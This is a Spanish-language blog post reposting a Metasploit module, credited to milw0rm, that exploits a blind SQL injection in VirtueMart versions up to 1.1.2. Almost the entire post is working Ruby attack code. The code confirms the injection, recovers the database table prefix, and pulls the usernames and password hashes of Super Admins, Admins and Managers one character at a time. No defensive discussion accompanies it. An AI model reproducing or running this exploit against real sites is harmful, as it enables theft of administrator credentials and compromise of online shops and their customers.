jueves, 2 de abril de 2009

VirtueMart <= 1.1.2 Remote SQL Injection Exploit (meta)

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
'Description' => %q{
This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
},
'Author' => 'Janek Vind "waraxe" ',
'License' => MSF_LICENSE,
'Version' => '1.0',
'References' =>
[
['BID', '33480'],
['URL', 'http://www.waraxe.us/advisory-71.html'],
['URL', 'http://secunia.com/advisories/33671/']
],
'DisclosureDate' => 'Jan 24 2009'))

register_options(
[
OptString.new('URI', [false, 'Path to VirtueMart', '']),
OptInt.new('TARGETID', [false, 'Target ID (optional)']),
OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
OptBool.new('ALLSA', [ false, 'Fetch all Super Admins', true]),
OptBool.new('ALLA', [ false, 'Fetch all Admins', false]),
OptBool.new('ALLM', [ false, 'Fetch all Managers', false]),
], self.class)

end

def run

@marker = 'name="addtocart"'
@target_uri = '/' + datastore['URI'] + '/'
@target_uri = @target_uri.gsub(/\/{2,}/, '/')
@target_id = datastore['TARGETID']
@target_prefix = datastore['PREFIX']
@requests = @fetched = 0
time_start = Time.now.to_i

# debug_level=2 - more debug messages, 1 - less
@debug_level = 1

if(!pre_test)
print_error('Exploit failed in pre-test phase')
return
end

if(datastore['ALLSA'])
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end

if(datastore['ALLA'])
if(!get_users(2))
print_error('Exploit failed fetching Admins')
return
end
end

if(datastore['ALLM'])
if(!get_users(3))
print_error('Exploit failed fetching Managers')
return
end
end

if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
print_status('Target ID or group(s) not specified, fetching Super Admins as default')
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end

if(@target_id > 1)
if(!get_user())
print_error("Exploit failed fetching user with ID=#{@target_id}")
return
end
end

time_spent = Time.now.to_i - time_start

print_status("Exploitation results:")
print_status("Got data for #{@fetched} users")
print_status("Total time spent: #{time_spent} seconds")
print_status("HTTP requests needed: #{@requests}")

end
############################################################
def make_post(post_data)

timeout = 30

begin

res = send_request_cgi({
'uri' => @target_uri,
'method' => 'POST',
'data' => post_data,
}, timeout)

if(res and res.body)
@requests += 1
return res.body
else
print_error('No response from server')
return nil
end

rescue ::Exception
print_error("Error: #{$!.class} #{$!}")
return nil
end
end
############################################################
def test_condition(condition)

max_tries = 10

post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"

1.upto(max_tries) do |i|

buf = make_post(post_data)

if(buf)
return buf.include?(@marker)
else
print_status("Sleeping #{i} seconds")
sleep(i)
print_status("Awake, retry ##{i}")
end
end

return nil
end
############################################################
def pre_test

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 1 failed - VirtueMart not detected')
return false
else
print_status('Pre-test 1 passed - VirtueMart detected')
end

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
buf = make_post(post_data) or return false

if(buf.include?(@marker))
print_error('Pre-test 2 failed - target is patched?')
return false
else
print_status('Pre-test 2 passed - injection detected')
end

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 3 failed - subselects not supported?')
return false
else
print_status('Pre-test 3 passed - subselects supported')
end

if(@target_prefix == '')
print_status('Prefix not provided, trying to fetch')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
end

post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"

buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 4 failed - wrong prefix?')
print_status('Trying to fetch valid prefix')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
else
print_status('Pre-test 4 passed - prefix OK')
end

return true
end
############################################################
def get_char(pattern, min, max)

num = get_num(pattern, min, max) or return nil

return num.chr

end
############################################################
def get_hash(group = nil, u_pos = nil)

hash = ''

if(group and u_pos)
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

p_len = get_num(pattern, 32, 100) or return nil

print_status("Got hash length: #{p_len.to_s}")

1.upto(p_len) do |pos|
print_status("Finding hash char pos #{pos}") if @debug_level > 0

if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

c = get_char(pattern, 32, 128) or return nil

hash << c
print_status("Known: #{hash}") if @debug_level > 0

end

return hash

end
############################################################
def get_prefix

prefix = ''

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
return false
else
print_status('INFORMATION_SCHEMA detected, proceed')
end

pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'

p_len = get_num(pattern, 5, 100) or return nil
p_len -= 10

if(p_len < 0)
print_error("Invalid prefix length: #{p_len.to_s}")
return false
elsif(p_len == 0)
print_status('Prefix seems to be empty')
@target_prefix = ''
return true
else
print_status("Got prefix length: #{p_len.to_s}")
end

1.upto(p_len) do |pos|
print_status("Finding prefix char pos #{pos}") if @debug_level > 0

pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"

c = get_char(pattern, 32, 128) or return nil

prefix << c
print_status("Known: #{prefix}") if @debug_level > 0

end

return prefix
end
############################################################
def get_num(pattern, min = 1, max = 100)

curr = 0;

while(1)

area = max - min
if(area < 2 )
post_data = "#{pattern}=#{max}"
eq = test_condition(post_data)

if(eq == nil)
return nil
elsif(eq)
len = max
else
len = min
end

break
end

half = area / 2
curr = min + half

post_data = "#{pattern}>#{curr}"

bigger = test_condition(post_data)

if(bigger == nil)
return nil
elsif(bigger)
min = curr
else
max = curr
end

print_status("Current: #{min}-#{max}") if @debug_level > 1

end

return len

end
############################################################
def get_username(group = nil, u_pos = nil)

username = ''

if(group and u_pos)
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

u_len = get_num(pattern, 1, 150) or return nil

print_status("Got username length: #{u_len.to_s}")

1.upto(u_len) do |pos|
print_status("Finding username char pos #{pos}") if @debug_level > 0

if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

c = get_char(pattern, 32, 128) or return nil

username << c
print_status("Known: #{username}") if @debug_level > 0

end

return username

end
############################################################
def get_users(group)

if(group == 1)
usertype = '0x53757065722041646d696e6973747261746f72'
print_status('Starting to fetch all Super Admins')
elsif(group == 2)
usertype = '0x41646d696e6973747261746f72'
print_status('Starting to fetch all Admins')
else
usertype = '0x4d616e61676572'
print_status('Starting to fetch all Managers')
end

pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"

u_cnt = get_num(pattern, 0, 100) or return nil

print_status("Targets to fetch: #{u_cnt.to_s}")

0.upto(u_cnt - 1) do |pos|

print_status("Fetching user pos #{pos}")

username = get_username(usertype, pos) or return nil
hash = get_hash(usertype, pos) or return nil
@fetched += 1

print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)

end

return true
end
############################################################
def get_user

print_status("Testing user ID=#{@target_id}")
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
u_cnt = get_num(pattern, 0, 100) or return nil

if(u_cnt != 1)
print_error("No user with ID=#{@target_id}")
return true
end

print_status("Working with user ID=#{@target_id}")

username = get_username or return nil
hash = get_hash or return nil
@fetched += 1

print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)

return true
end
############################################################
end

# milw0rm.com [2009-03-31]

No hay comentarios.:

Publicar un comentario

Déjanos tu comentario, nos permitirá mejorar.
¿Qué opinas de este tema?
¿Tienes alguna duda o sugerencia?
¿Te parece adecuado y completo este tema?
¿Falta información? ¿Cual?

Etiquetas

INTERNET (459) newsweek (305) SEGURIDAD (224) software (136) HACK (86) GOOGLE (47) Hacker (46) Geek (41) hardware (36) WINDOWS (34) Hackers (31) CRACK (29) facebook (29) video (28) DESCARGA (27) videos (26) Celulares (25) MICROSOFT (22) Informatica (21) apple (19) GRATIS (18) technology (18) virus (18) exploit (17) computación (16) informatico (16) web (15) cracker (14) INALAMBRICO (13) WINDOWS 7 (13) noticias (11) MSN (10) termino (10) ACTUALIZACION (9) Gamer (9) LapTops (9) Mac (9) PASSWORD (9) WINDOWS XP (9) dns (9) firefox (9) juegos (9) FOTOS (8) cientifico (8) iphone (8) WEP (7) antivirus (7) bibliografia (7) Desencriptar (6) INFINITUM (6) wifi (6) youtube (6) Craker (5) Culiacan (5) DESMOSTRACION (5) TELEFONIA (5) gmail (5) messenger (5) DIRECTA (4) DOWNLOAD (4) ESPAÑOL (4) XBOX (4) xss (4) Glosario (3) HTML (3) WPA (3) anuncios (3) ataques (3) hosting (3) hotmail (3) Guru (2) ajax (2) wpa2 (2)